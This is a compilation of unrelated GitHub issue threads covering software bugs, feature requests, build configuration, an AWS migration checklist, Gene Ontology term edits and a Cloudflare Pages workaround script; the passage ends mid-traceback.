Download all pictures of the searched tag without having to go to different pages

Is your feature request related to a problem? Please describe
Since I've used the program, it's been a hassle to download images on searches that yields more than a thousand pictures. Say I plan to download a tag/character/etc. with 3400 images. Even if I set the sources to show 1000 images per page, I still have to go through 4 pages and even then I have to wait for all images to load or risk having to restart the program since skipping to the next page without completely loading all pictures would make the program unable to load up any pictures at all.
At first, I thought the "Get All" button would do just that but unfortunately, it's not.
Describe the solution you'd like
If possible, have the option to download all images from that search with one button (at least with one source site) without having to go through different pages and click "Get Page". Using the example before, instead of having to venture to different pages just to download all of them, I could just click a button and all the images from that tag is now ready to download in the downloads tab.

The Get All button is what you want, it just queues the tag for download in the download tab. You just need to start it.

The Get All button is what you want, it just queues the tag for download in the download tab. You just need to start it.

The Get All button is what you want, it just queues the tag for download in the download tab. You just need to start it.

Didn't realized it. Last time I tried it, it didn't download all of the files for some reason. Thanks

The Get All button is what you want, it just queues the tag for download in the download tab. You just need to start it.

Didn't realized it. Last time I tried it, it didn't download all of the files for some reason. Thanks


Deploy application on Tool Labs

Deploy the application on tool labs and make sure its running.

Deployed and can be accessed here: http://tools.wmflabs.org/wikipedia-fetch-content/


Extract crash line if symbols present

Very useful when analyzing multiple crashes.
Cleaned up some code. making it more legible.
Cheers

Coverage decreased (-1.4%) to 89.573% when pulling c8d7edeb2e680612cefc8267e7fba1347f14de18 on illera88:master into 1a10e7bc40d95243c4cbb1eb9602efc51dc06663 on rc0r:master.

Ping @illera88, do you plan to implement (some of) the requested changes? Let me know if you want me to help.

Unfortunately I have no time to do it. :/


FindIgnOGRE2: how to find a from-source (non-system) install?

Environment

OS Version: Ubuntu 18.04
Source or binary build? Source 3971db877d5aca

Description

Expected behavior: FindIgnOGRE2 finds local source build of OGRE2 if it is in CMAKE_PREFIX_PATH
Actual behavior: It finds the system-installed one.

I have OGRE2 source build in a colcon workspace together with ign-rendering4. I don't see a way to point FindIgnOGRE2 to this source build. In the CMake module, first a check for OGRE-2.1 is done, and if found, the rest of the search logic is skipped. And as the comment correctly points out, OGRE-2.1 is the name of the system-installed binary library, whereas source libraries use just OGRE. So once there is an OGRE-2.1 installed in the system, the CMake module doesn't allow me to point it anywhere else...

There isn't a consistent way to do it at the moment.  We do all of the name mangling via the Debian packaging step, so it's not reflected in the CMake.
In the past, @ahcorde and I hardcoded paths to be able to use the colcon-local version, but I don't know if that is current best practice.

Just to crossref the related issues, eventually this problem will be solved upstream by https://github.com/OGRECave/ogre-next/issues/232 .

Ok, good to hear there is activity to solve it upstream ;)

https://github.com/gazebosim/gz-cmake/pull/342 makes it work with ogre 2.3 from our fork: https://github.com/gazebo-forks/ogre-next/tree/gazebo/v2-3 in a colcon workspace.
ogre-next needs to be built with these variables: https://github.com/gazebo-forks/ogre-next/blob/gazebo/v2-3/colcon.pkg

Closing since it's fixed by #342.


Fix call for parent constructor to receive arguments

Fix the super call to spread the arguments.

Whoops! Can you add a failing test case?
Other than that, this seems good to me...

test added


Blurry animation

Hi !
Sometimes, I get this burry loader with chrome (latest version).
Any chance someone else had the same problem ?

@dfabreguette-ap This looks like a Chrome bug to me, I'd search for it here and report it if it's not already listed. Leaving this issue open though in case there's a temporary fix that I can add.


telomere tethering/clustering updates

GO:new mitotic telomere clustering at the mitotic nuclear envelope
proposed def
The process in which  the telomeres are gathered together to a small number of  foci per chromosome (usually one per chromosome or fewer) , and moved to and tethered at the nuclear periphery, as part of a mitotic cell cycle.
---GO:New mitotic telomere clustering during interphase
The process whereby the mitotic telomeres are gathered together  during, or prior to
attachment to the nuclear envelope.
COMMENT It is likely that both intra chromosome  telomere clustering and inter-chromosome occur because a single foci is sometimes observed, although this has yet to be proven).
---GO:0044820 mitotic telomere tethering at nuclear periphery
PMID:25778919 can be added to old and new terms

Can we get a publication that supports these changes?

The existing publications should do it.
Its really a missing piece of information ....

Only used by PomBase so far. The telomeres are "clustered together" and "tethered" but most people call it "clustering".
The existing "tethering" name should be  a synonym.

The new mitotic def is more closely aligned with hte meiotic def. It doesn't change the meaning but it is a bit more detail about the process.

Actually it is a bit more complicated. It seems to be a 2-step process
For  the entire process "clustering" the  the individual letomeres are associated with each other AND the resulting clusters are 'tehtered" to the nuclear envelope.
We have papers which specifically dissect the "tethering " step  and the dissociation step
for example cdc2 phosphorylation of rap1  promotes dissociation (-ve reg of tethering)
e.g.
Telomere-nuclear envelope dissociation promoted by Rap1 phosphorylation ensures faithful chromosome segregation.  PMID:22959349
The clustering together is also likely multistep because there is the clustering of non-homologous chromosomes and the clustering of sister chromatids (cohesin dependent).
These seem to be separable processes, because telomeres can remain attached to the nuclear envelope but unclustered in some mutants.
Here is a very nice fig from the paper I am reading:
PMID:25778919
Aurora B prevents chromosome arm separation defects by promoting telomere dispersion and disjunction.

So, keep the existing terms, but please instead make the term
GO:0044820 mitotic telomere clustering at nuclear periphery
The process in which * the telomeres are gathered together and tethered at the nuclear periphery*, as part of a mitotic cell cycle.
and add the telomere organization  parent to this term instead.
Also still add the telomere organization terms to the similar meiotic telomere clustering parent.
and add this ref to the new term.
Sorry about that!

I revised the original request. I hope this is clear!
Thanks
Val

I'm find this thread a bit difficult to follow @ValWood.  Below is what I think you are asking for, along with places where I have comments or questions:
Proposed new terms:
Term: mitotic telomere clustering at the mitotic nuclear envelope (GO:new)
1. I assume second use of "mitotic" from term name is unnecessary
2. Can we use the phrase "nuclear periphery", like all of the existing terms, instead of "nuclear envelope"?
Def: The process in which the telomeres are gathered together to a small number of foci per chromosome (usually one per chromosome or fewer), and moved to and tethered at the nuclear periphery, as part of a mitotic cell cycle.
def dbxref: PMID:25778919
is_a: ??? seen note 1 below
Term: mitotic telomere clustering during interphase (GO:new)
Def: The process whereby the mitotic telomeres are gathered together during, or prior to
attachment to the nuclear envelope.
def dbxref: PMID:25778919
Comment: It is likely that both intra chromosome telomere clustering and inter-chromosome occur because a single foci is sometimes observed, although this has yet to be proven.
is_a: ??? seen note 1 below
Note 1 It looks like might be good to have a grouping term for "telomere clustering" to be the parent of both of these two terms, thoughts?
Edits to existing terms:
Term: mitotic telomere tethering at nuclear periphery (GO:0044820)
Add def dbxref: PMID:25778919 can be added to old and new terms
Further questions:
Here's the current structure:

- telomere localization
-- meiotic telomere clustering [GO:0045141]
--- meiotic telomere tethering at nuclear periphery [GO:0044821]

Question 1: If I'm understanding what you've put in this ticket, it seems you are saying that clustering and tethering are independent of each other. Thus, I am wondering if tethering is really a type of clustering, i.e. should GO:0044821 be an is_a child of GO:0045141?
Question 2: Considering the def specifies that this occurs at the nuclear envelope, should GO:0045141 be called "meiotic telomere clustering at nuclear periphery" like all the other terms in this area?

I assume second use of "mitotic" from term name is unnecessary
Yes, better
Can we use the phrase "nuclear periphery", like all of the existing terms, instead of "nuclear envelope"?
Yes, better

Note 1 It looks like might be good to have a grouping term for "telomere clustering" to be the parent of both of these two terms, thoughts?

GO:NEW1 mitotic telomere clustering at nuclear periphery
parent of
—GO:New2 mitotic telomere clustering during interphase (part_of GO:NEW1, is_a telomere localisation)

GO:0044820 mitotic telomere tethering at nuclear periphery (part_of GO:NEW1 is_a telomere localisation)

It is a bit clunky, but currently I can't find a phrase  which means "telomere clustering and tethering at  the nuclear periphery) which is what is covered by  GO:NEW1
(maybe we need to be this explicit?)
Unfortunately in the literature some people call the entire process "clustering" and some "tethering", now partially dissected there seem to be a number of things going on simultaneously, but they are separable in mutants where you can see one and not the other...
so the relationship of  GO:New2 and  GO:0044820 to GO NEW1 is part_of
Does that help.
Sorry it was so confusing, I had to piece together in stages...

Thanks @ValWood - Now that I think I understand what you'd like, I do think it is clearer if the grouping term name includes "clustering and tethering. In the stanzas that I've written out below with what I plan to put in, I've highlighted that possible addition, but let me know if you disagree. Please let me know if I've misunderstood anything.
Proposed new terms:
Term: mitotic telomere clustering and tethering?? at the nuclear periphery (GO:new1)
Def: The process in which the telomeres are gathered together to a small number of foci per chromosome (usually one per chromosome or fewer), and moved to and tethered at the nuclear periphery, as part of a mitotic cell cycle.
def dbxref: PMID:25778919
is_a: telomere localisation
Term: mitotic telomere clustering during interphase (GO:new2)
Def: The process whereby the mitotic telomeres are gathered together during, or prior to
attachment to the nuclear envelope.
def dbxref: PMID:25778919
Comment: It is likely that both intra chromosome telomere clustering and inter-chromosome occur because a single foci is sometimes observed, although this has yet to be proven.
is_a: telomere localisation
part_of: mitotic telomere clustering and tethering?? at the nuclear periphery (GO:new1)
Edits to existing terms:
Term: mitotic telomere tethering at nuclear periphery (GO:0044820)
Add def dbxref: PMID:25778919 can be added to old and new terms
Add part_of: mitotic telomere clustering and tethering?? at the nuclear periphery (GO:new1)

Also, looking at this new structure for the mitotic telomere clustering, I was wondering if the terms for "meiotic telomere clustering" should be follow a similar structure (which would require a new term).

Hi Karen,
That's perfect.
I think we could leave  "meiotic telomere clustering" for now. I was thinking about this but it is quite different. Although the telomeres cluster close to the nuclear envelope in meiotic prophase I, I don't think they can be attached  to the nuclear envelope, but rather to the spindle pole body. In pombe the spindle pole body oscillates rapidly from on side of the cell to the other and   the chromosomes follow (horsetail movement).
I'll be doing more papers in this area at some point so I can clarify then...

Hi @ValWood
Sounds good. I'll put in the two new terms and term edit as I indicated above (with the "clustering and tethering" phrase in the new1 term name.
We'll leave any changes in the meiotic telomere clustering for the time being.


Atom.Object.defineProperty.get is deprecated. (script-view.coffee:16:9)

atom.workspaceView is no longer available.
In most cases you will not need the view. See the Workspace docs for
alternatives: https://atom.io/docs/api/latest/Workspace.
If you do need the view, please use atom.views.getView(atom.workspace),
which returns an HTMLElement.
Atom.Object.defineProperty.get (C:\Users\Artem\AppData\Local\atom\app-0.188.0\resources\app\src\atom.js:54:11)
HeaderView.close (C:\Users\Artem\.atom\packages\script\lib\header-view.coffee:16:9)

Fixed by #407, new release pending.


[AzureStaticWebAppV0] Ensure newest version of Docker image is used

Required Information
Entering this information will route you directly to the right team and expedite traction.
Question, Bug, or Feature?
Type: Bug
Enter Task Name: AzureStaticWebAppV0
Issue Description
Add --pull here to ensure it's always checking for the newest version of the image and pulling if needed: https://github.com/microsoft/azure-pipelines-tasks/blob/862952f8fd95f49c8fefd457390fa2bfe2c9017f/Tasks/AzureStaticWebAppV0/launch-docker.sh
This is mainly affecting customers with self-hosted agents, where there might be an earlier version of the image from a previous pipeline run and it won't update when newer versions are available.
@miwebst @brhopcra

@anthonychu Have submitted a PR with the change, I'm unsure how to test however so a little guidance with how to test locally would be appreciated. Thanks.


[cherry-pick] Fix install.sh for DS 2.0 and add comment to install_config.conf (#6506)

Fix install.sh for DS 2.0

Use #* make it work in macos

Add comment for properties change

Add JAVA HOME for only one file change to deploy

Reduce config change by using default value of: plugin registry, alert, task as

Change javaHome default value

Delete config param zkQuorum

Reorder param

Add comment for install_config.conf

PTAL @CalvinKirs @lenboo thanks


Key bindings not working in embedded syntaxes as expected

VSCode Version: 1.11.2
OS Version: Windows 10

This issue could be connected to Issue 25154
Steps to Reproduce:

Download code from https://github.com/Hugibeer/RhetosDSL
Open Rhetos.vscode folder in VSCode and start the extension
Open file Samples\SampleTest.rhe and at line 5 run command Toggle line comment. Line 5 is inside double quotes, adn should be treated as SQL, thus line comment should be "--", and not "//"

Is this maybe a configuration issue? Or does VS Code not differ completely where it should use Rhetos like comment (//) from SQL comments (--)?
Thanks you.

@aeschli looked into mixed language support. I believe we currently require extensions to manually handle this case, see https://github.com/Microsoft/vscode/issues/14447#issuecomment-262736975

@Hugibeer Have a look at https://github.com/Microsoft/vscode/blob/master/extensions/typescript/package.json#L79. There we configure embedded languages inside the TypeScript grammar.


Crash Loop with same crashlog

Forge : 2705
SpongeForge : 3201
Luckperms : 4.2.32
GriefPrevention : 622
Hello,
At some point the server crashes and it won't restart until I wipe GP config folder.
I haven't changed the version of anything. It just breaks after a few hours.
I didn't change anything in the configs.
Here is the crashlog : https://gist.github.com/jinkhya/8626eaa69af619b06915801012951980
thanks in advance,
Jin

and the log :
https://gist.github.com/jinkhya/21c429c8ef205d84c009045985944886

@jinkhya Please confirm build 627 solves the issue.


Migration away from withIronSessionApiRoute

Upgrading from v6 to v8 of this package. What's the easiest way to migrate withIronSessionApiRoute?

+1 on this. Is there an upgrade guide?

in my cases,
export default withIronSessionApiRoute(
  async function handler (
    req: NextApiRequest,
    res: NextApiResponse,
  ) {

 ...
}, IronSessionOptions)

export default async function handler (
    req: NextApiRequest,
    res: NextApiResponse,
) {
    const session = await getIronSession<ApiResonseData>(req, res, IronSessionOptions)
   ...
}

Here's the OG source code: https://github.com/vvo/iron-session/blob/v6/next/index.ts

Yep this is how it was done previously: https://github.com/vvo/iron-session/blob/70d2ff14aacb51e83284d51832fdcda539b4dabc/next/index.ts#L19-L46


[CHECKLIST]: Migrate to New AWS Account (develop)

General Description
Migrate development data and database records to new AWS "Castle" account
Migration

[x] Stop Data Acquisition to current develop instance
[x] Database pgdump
[x] Sync develop S3 Bucket data to bucket in new environment
[x] Truncate all tables, except for flyway_schema_history, config
[x] Disable Triggers

[x] acquirablefile
[x] productfile
[x] download

[x] Import pgdump data into new database
[x] Enable Triggers

[x] acquirablefile
[x] productfile
[x] download

[x] Turn on new cumulus services & validate operation
[x] Start Airflow develop workflows & validate results
[x] Allow role for LDM to write to bucket
[x] Allow LDM IP address access to Cumulus REST API via security group
[x] Validate results
[ ] Retrospective

Retrospective Notes
Good

Effective teamwork, ownership in strength areas
Containerized S3 and database backup utilities worked well
Infrastructure as code (Terraform) worked well to replicate develop to stable

Lessons Learned

RDS limited permissions on disabling triggers, even as rds_superuser.  A pg_restore with the --disable-triggers flag will attempt to run commands that the rds_superuser is not able to run on import, resulting on failed imports. The export/import process was extensively tested locally; however, this would not have been identified until testing against an RDS database.
Set all airflow lookback times for realtime data to a relative time (2 weeks ago, 2 days ago, 1 hour ago, etc.)
cumulus-api async_geoprocess container needs additional try/except logic. Right now, there is limited error handling and small errors can cause a crash and restart of the container.

Validation of results and LDM data transmission development are ongoing. These will be tracked under USACE/cumulus#153. Closing this issue.


JAMES-2586 reworking attachmentId

https://github.com/apache/james-project/pull/2142/commits/666ca46aed021db37968f5ebb0160b7f9c0a344a (JAMES-2586 Create AttachmentIdFactory) has been reviewed in https://github.com/apache/james-project/pull/2133

Please rebase

https://ci-builds.apache.org/job/james/job/ApacheJames/job/PR-2142/3/#showFailuresLink
Lots of errors, can you check?


Race condition between publishing and retrieving the deployment metadata

This code here can cause (albeit relatively unlinkely) a race condition where the values returned for the deployment url, id, etc. are not actually those produced by the previous npx wrangler pages publish command.
We ran into this with our production deployment and a pull request that seemingly happened at the exact same time. Since we use that output to call an external API to register the deployment URL and metadata, this caused a temporary service degradation on our end.
So even if this is indeed a rather rare event, in a large team with a lot of parallel development and github workflows running all the time it's definitely bound to happen every now and then.
I'd suggest to extend wrangler to support a --json flag that outputs machine-readable metadata for all its commands and then use that here instead of the REST api call.

Sorry, meant to add a link to the code in question: https://github.com/cloudflare/pages-action/blob/main/src/index.ts#L68-L74

Hi, thanks for the report! We're slowly but surely building out APIs in wrangler, so once we have a import { pagesPublish } from 'wrangler' (or similar) surface, we'll be able to properly address this problem.

Great. That's a good solution for this github action indeed! I'd still argue that a --json option could be helpful for the wrangler CLI in general :-)

Is there any progress on this? sorry to poke :p I suppose this is still blocked on wrangler having a JS api?
https://github.com/cloudflare/wrangler2/blob/main/packages/wrangler/src/pages/publish.tsx

Sorry to poke again, but is there any work I can do to help move this along? I have a script that creates a facimile address by just appending
`${branchName}${cfpages-preview-url}`

but this doesn't work due to DNS encoding values and truncation of the url

@jasikpark This might interest you. I managed to get the alias with the below setup.
After deploying I make a request to the Cloudflare API to get the alias. You just need to replace YOUR_POJECT_NAME in the endpoint and it should work. You can then use ${{ steps.get-alias.outputs.alias }} as you see fit:
      - name: Publish
        id: cloudflare
        uses: cloudflare/pages-action@1
        with:
          ... All your settings

      - name: Get Deployment Alias
        if: github.event_name == 'pull_request'
        id: get-alias
        run: |
          deployment_response=$(curl --request GET --url https://api.cloudflare.com/client/v4/accounts/${{ secrets.CLOUDFLARE_ACCOUNT_ID }}/pages/projects/YOUR_POJECT_NAME/deployments/${{ steps.cloudflare.outputs.id }} --header 'Content-Type: application/json' -H "Authorization: Bearer ${{ secrets.CLOUDFLARE_API_TOKEN }}")
          alias=$(jq -r '.result.aliases[0]' <<< "$deployment_response")
          echo "alias=$alias" >> "$GITHUB_OUTPUT"

      - name: Echo outputs
        run: |
          echo ${{ steps.cloudflare.outputs.id }}
          echo ${{ steps.cloudflare.outputs.url }}
          echo ${{ steps.cloudflare.outputs.environment }}
          echo ${{ steps.get-alias.outputs.alias }}

I agree that the alias output from the publish step seems to always be the deployment URL. We are not making any improvements to this repo moving forward. The workarounds above will also work with wrangler-action.


Resources page user-flow Attn KARLA

Create a component and routing for a Resources Page. Content on this page could be as simple as a set of links to external pages of general counselling interest, or it could offer some personality and aptitude testing tools using the third party API, Traitify (NOT DONE -- BEING WORKED ON BY KARLA)

DONE by KW. (Pending approval -- see pr #72)


Trim GitHub permissions?

This plugin looks really useful.  Thanks for your work on it!
However, the GitHub permissions it asks for after clicking Install seemed a bit, well, permissive 😄.  For example, it wants read/write for user profile data.  Are all of the permissions the plugin asks for required, or can they be trimmed down a bit?
The manual instructions to get a token make it sound like the actual permissions it needs are less.
For now, I'll give it a go with the manual install.

I completely agree.
At the time this plugin was originally written, GitHub Apps - which offer more fine-grained permissions - weren't able to support such a project. I can't remember why exactly, but I think it was because they couldn't be installed on a user, only an organization or repository.
It's been a while since then, so it's worth taking another look. I don't have a ton of bandwidth to do this right now but will try to take a look over the holidays.


Each click opens a new window tab

Issue-
On Each Click a new tab opens up which ends up opening too many tabs and causes confusion.
Solution-
The new page should open up on the tab and on pressing back button it should navigate back to previous page.
I would like too work on this issue under SWOC2021, so please it would be huge help if you could assign this issue to me.
Thank You.

Great, please fix all of such new page opening issues in the site. I am assigning it to you.

Great, please fix all of such new page opening issues in the site. I am assigning it to you.

I would like to work on this issue, please assign it to me!

I would like to work on this issue, please assign it to me!

I would like to work on this issue, please assign it to me.

I would like to work on this issue, please assign it to me.

Pull Request #65 issued to fix this issue

Pull Request #65 issued to fix this issue


Create ABI Type library

Create a library similar to abitype.

This is now implemented in abi-wan-kenabi


twitter4j.JSONException: No value for expanded_url

There are an uncontrolled exception at:
TwitterException{exceptionCode=[e3c9a651-0001217b 6afa67f8-1b4dc763], statusCode=-1, message=null, code=-1, retryAfter=-1, rateLimitStatus=null, version=4.0.7}
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:17)
	at twitter4j.SearchExKt.searchTweetsIn(SearchEx.kt:127)
	at twitter4j.SearchExKt.searchAll(SearchEx.kt:73)
Caused by: twitter4j.JSONException: No value for expanded_url
	at twitter4j.JSONObject.get(JSONObject.java:437)
	at twitter4j.JSONObject.getString(JSONObject.java:641)
	at twitter4j.UrlEntity2.<init>(UrlEntity2.kt:19)
	at twitter4j.User2$Companion.parse(User2.kt:54)
	at twitter4j.V2Util.collectUsers(V2Util.kt:29)
	at twitter4j.TweetsResponse.parse(TweetsResponse.kt:54)
	at twitter4j.TweetsResponse.<init>(TweetsResponse.kt:36)
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:15)

which does not allow to continue obtain Tweets at SearchExKt.searchAll method when the twitter API does not return the "expanded_url" value for one of the tweets.

Please tell me the parameters of searchAll method you tried.

Many thanks for the fast support. The used params were the following:
String tweetFields = "attachments,author_id,context_annotations,created_at,entities,geo,id,in_reply_to_user_id,lang,possibly_sensitive,public_metrics,referenced_tweets,source,text,withheld";
String userFields = "created_at,description,entities,id,location,name,profile_image_url,protected,public_metrics,url,username,verified,withheld";
String expansions = "attachments.poll_ids,author_id,in_reply_to_user_id";
int maxResults = 100;
String queryString = "MyQuery"
Date since = Mon Jan 01 00:00:00 CET 2018
Date until = Sat Dec 01 00:00:00 CET 2018
String nextToken ="b26v89c19....."

final TweetsResponse tweetAPIResponse = SearchExKt.searchAll(twitterInstance, queryString,
        until, expansions, maxResults, "", nextToken, "",
        "", null, since, tweetFields, null, userFields);

Exception:
Relevant discussions can be found on the Internet at:
	http://www.google.co.jp/search?q=e3c9a651 or
	http://www.google.co.jp/search?q=0001217b
TwitterException{exceptionCode=[e3c9a651-0001217b 6afa67f8-1b4dc763], statusCode=-1, message=null, code=-1, retryAfter=-1, rateLimitStatus=null, version=4.0.7}
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:17)
	at twitter4j.SearchExKt.searchTweetsIn(SearchEx.kt:127)
	at twitter4j.SearchExKt.searchAll(SearchEx.kt:73)
	at es.uvigo.ei.sing.core.TwitterCore.searchV2API(TwitterCore.java:377)
	at es.uvigo.ei.sing.core.AppController.lambda$execute$3(AppController.java:149)
	at java.lang.Thread.run(Thread.java:748)
Caused by: twitter4j.JSONException: No value for expanded_url
	at twitter4j.JSONObject.get(JSONObject.java:437)
	at twitter4j.JSONObject.getString(JSONObject.java:641)
	at twitter4j.UrlEntity2.<init>(UrlEntity2.kt:19)
	at twitter4j.User2$Companion.parse(User2.kt:54)
	at twitter4j.V2Util.collectUsers(V2Util.kt:29)
	at twitter4j.TweetsResponse.parse(TweetsResponse.kt:54)
	at twitter4j.TweetsResponse.<init>(TweetsResponse.kt:36)
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:15)
	... 5 more

No value for expanded_url
Relevant discussions can be found on the Internet at:
	http://www.google.co.jp/search?q=e3c9a651 or
	http://www.google.co.jp/search?q=0001217b
TwitterException{exceptionCode=[e3c9a651-0001217b 6afa67f8-1b4dc763], statusCode=-1, message=null, code=-1, retryAfter=-1, rateLimitStatus=null, version=4.0.7}
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:17)
	at twitter4j.SearchExKt.searchTweetsIn(SearchEx.kt:127)
	at twitter4j.SearchExKt.searchAll(SearchEx.kt:73)
	at java.lang.Thread.run(Thread.java:748)
Caused by: twitter4j.JSONException: No value for expanded_url
	at twitter4j.JSONObject.get(JSONObject.java:437)
	at twitter4j.JSONObject.getString(JSONObject.java:641)
	at twitter4j.UrlEntity2.<init>(UrlEntity2.kt:19)
	at twitter4j.User2$Companion.parse(User2.kt:54)
	at twitter4j.V2Util.collectUsers(V2Util.kt:29)
	at twitter4j.TweetsResponse.parse(TweetsResponse.kt:54)
	at twitter4j.TweetsResponse.<init>(TweetsResponse.kt:36)
	at twitter4j.V2ResponseFactory.createTweetsResponse(V2ResponseFactory.kt:15)

Regardless of this particular error, I think a try catch when transforming JSON into objects would be great. If in the future a JSON field is removed or a tweet has a missing field or an error, the program could continue collecting tweets regardless of whether one has an error. But it's just a suggestion :)

Thanks,

Regardless of this particular error, I think a try catch when transforming JSON into objects would be great. If in the future a JSON field is removed or a tweet has a missing field or an error, the program could continue collecting tweets regardless of whether one has an error. But it's just a suggestion :)

I understand that idea, but we will continue with the current policy because there will be no way to know if a field is deleted or something.
The problem you describe may be a problem when retrieving very old tweets, I used the same parameter in searchRecent and it did not happen.
Unfortunately I don't have the permissions (Academic) to run searchAll so I can't verify the behavior, but it may be that there are older tweets that don't have expanded_url.
I will try to deal with this tentatively, so please check.

I released v1.2.1 and please check it.
Thanks.

Yes it is a problem  retrieving very old tweets (2018) that not allow use searchAll function to retrieve and paginate a long list of Tweets (between two dates) using the nextToken in the searchAll method. For example,
#First query
String nextToken ="b26v89c19....."
final TweetsResponse tweetAPIResponse = SearchExKt.searchAll(twitterInstance, queryString,
        until, expansions, maxResults, "", nextToken, "",
        "", null, since, tweetFields, null, userFields);

Success
#Second query
String nextToken ="54dsf5ds5....."
final TweetsResponse tweetAPIResponse = SearchExKt.searchAll(twitterInstance, queryString,
        until, expansions, maxResults, "", nextToken, "",
        "", null, since, tweetFields, null, userFields);

Success
#Third query
String nextToken ="hg546k5gh6u....."
final TweetsResponse tweetAPIResponse = SearchExKt.searchAll(twitterInstance, queryString,
        until, expansions, maxResults, "", nextToken, "",
        "", null, since, tweetFields, null, userFields);

Exception making it impossible to continue paging tweets ( nextToken it is also not returned) and all the returned tweets are lost because one of them is irregular/incorrect.

Could you please released it also in the official maven repository io.github.takke:jp.takke.twitter4j-v2? That would be great :). Many thanks!

Yes, now I can see it on maven repo. https://repo1.maven.org/maven2/io/github/takke/jp.takke.twitter4j-v2/1.2.1/

Solved! It works. Many many thanks!


Docker installation fails

OS: Windowsfx (based on ubuntu 20.04.4 LTS)
Also cant install the script with sudo

Hey, I never heard of Windowsfx. It looks like the Docker package repository does not have a package for this operating system. Not sure what can I do about it atm.
If you could help me to figure out what packages needed for Docker to run on Windowsfx, I will update the installation script.

I just followed [this thread](this thread) and instructions on Docker website to install it manually.

Ah, I see, so it's not 20.04, right?
I plan to add more operating systems, but it's not the most important thing atm.


Weird behaviour with Boolean values in where clause

Possibly related to this question on stackoverflow.
The following query resulted in an empty list, even though I expected values (i.e. my database contains ordinates that have the field IsScopeFilter set to True):
runDb . select . from $ (expression `LeftOuterJoin` ordinate) -> do
  on $ ordinate ?. OrdinateFkExpression ==. just (expression ^. ExpressionId)
  where_ $ ordinate ?. OrdinateIsScopeFilter ==. just (val True)
  return (expression, ordinate)

Inspired by a former experience (documented in the stackoverflow question) I changed it to
runDb . select . from $ (expression `LeftOuterJoin` ordinate) -> do
  on $ ordinate ?. OrdinateFkExpression ==. just (expression ^. ExpressionId)
  where_ $ not_ (ordinate ?. OrdinateIsScopeFilter ==. just (val False))
  return (expression, ordinate)

and it works: I get those ordinates, and only those, which have IsScopeFilter set to True.
Any ideas what might be going on here?
Edit: I'm working on a Sqlite3 backend.

Looks like a SQLite bug. Can you try to reproduce it using the SQLite REPL?

I have to withdraw this issue, until I have tested it further. It might be a different problem altogether, related to this question on stackoverflow.


failed to create cublas handle: CUBLAS_STATUS_NOT_INITIALIZED

Hello.  I update keras to 2.0.9. and i update the latest project.
when i run 'example/train_coco.py' to train on coco dataset. i got this error.
loading annotations into memory...
Done (t=12.14s)
creating index...
index created!
loading annotations into memory...
Done (t=0.38s)
creating index...
index created!
Epoch 1/20
Traceback (most recent call last):
File "examples/train_coco.py", line 106, in
keras.callbacks.ReduceLROnPlateau(monitor='loss', factor=0.1, patience=2, verbose=1, mode='auto', epsilon=0.0001, cooldown=0, min_lr=0),
File "/home/wh/.local/lib/python2.7/site-packages/keras/legacy/interfaces.py", line 87, in wrapper
return func(*args, **kwargs)
File "/home/wh/.local/lib/python2.7/site-packages/keras/engine/training.py", line 2046, in fit_generator
generator_output = next(output_generator)
File "/home/wh/.local/lib/python2.7/site-packages/keras/utils/data_utils.py", line 518, in get
raise StopIteration(e)
StopIteration: 'NoneType' object has no attribute 'shape'
what is wrong with it?

Are you sure your COCO directory is set up correctly?

yes. before update keras. it works all right.

I also meet this problem, did u solve it ? thx. @wanghuok

@complicatedlee It is my fault. My coco path is not correct. but when i correct coco path. i get this error.  my gpu is GTX 1060 with 6GB vedio memory.
loading annotations into memory...
Done (t=12.17s)
creating index...
index created!
loading annotations into memory...
Done (t=0.38s)
creating index...
index created!
Epoch 1/20
2017-11-08 17:41:09.261753: E tensorflow/stream_executor/cuda/cuda_blas.cc:366] failed to create cublas handle: CUBLAS_STATUS_NOT_INITIALIZED
2017-11-08 17:41:09.261779: W tensorflow/stream_executor/stream.cc:1901] attempting to perform BLAS operation using StreamExecutor without BLAS support
Traceback (most recent call last):
File "examples/train_coco.py", line 106, in
keras.callbacks.ReduceLROnPlateau(monitor='loss', factor=0.1, patience=2, verbose=1, mode='auto', epsilon=0.0001, cooldown=0, min_lr=0),
File "/home/wh/.local/lib/python2.7/site-packages/keras/legacy/interfaces.py", line 87, in wrapper
return func(*args, **kwargs)
File "/home/wh/.local/lib/python2.7/site-packages/keras/engine/training.py", line 2077, in fit_generator
class_weight=class_weight)
File "/home/wh/.local/lib/python2.7/site-packages/keras/engine/training.py", line 1797, in train_on_batch
outputs = self.train_function(ins)
File "/home/wh/.local/lib/python2.7/site-packages/keras/backend/tensorflow_backend.py", line 2332, in call
**self.session_kwargs)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/client/session.py", line 889, in run
run_metadata_ptr)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/client/session.py", line 1120, in _run
feed_dict_tensor, options, run_metadata)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/client/session.py", line 1317, in _do_run
options, run_metadata)
File "/home/wh/.local/lib/python2.7/site-packages/tensorflow/python/client/session.py", line 1336, in _do_call
raise type(e)(node_def, op, message)
tensorflow.python.framework.errors_impl.InternalError: Blas SGEMM launch failed : m=22500, n=256, k=64
[[Node: res2a_branch1/convolution = Conv2D[T=DT_FLOAT, data_format="NHWC", padding="VALID", strides=[1, 1, 1, 1], use_cudnn_on_gpu=true, _device="/job:localhost/replica:0/task:0/device:GPU:0"](pool1/MaxPool, res2a_branch1/kernel/read)]]
[[Node: loss/add/_2591 = _Recvclient_terminated=false, recv_device="/job:localhost/replica:0/task:0/device:CPU:0", send_device="/job:localhost/replica:0/task:0/device:GPU:0", send_device_incarnation=1, tensor_name="edge_12603_loss/add", tensor_type=DT_FLOAT, _device="/job:localhost/replica:0/task:0/device:CPU:0"]]
Caused by op u'res2a_branch1/convolution', defined at:
File "examples/train_coco.py", line 60, in
model = create_model(weights=args.weights)
File "examples/train_coco.py", line 38, in create_model
return ResNet50RetinaNet(image, num_classes=90, weights=weights)
File "/home/wh/gitmodel/keras-retinanet/keras_retinanet/models/resnet.py", line 36, in ResNet50RetinaNet
resnet = keras_resnet.models.ResNet50(image, include_top=False, freeze_bn=True)
File "/home/wh/.local/lib/python2.7/site-packages/keras_resnet/models/_2d.py", line 181, in ResNet50
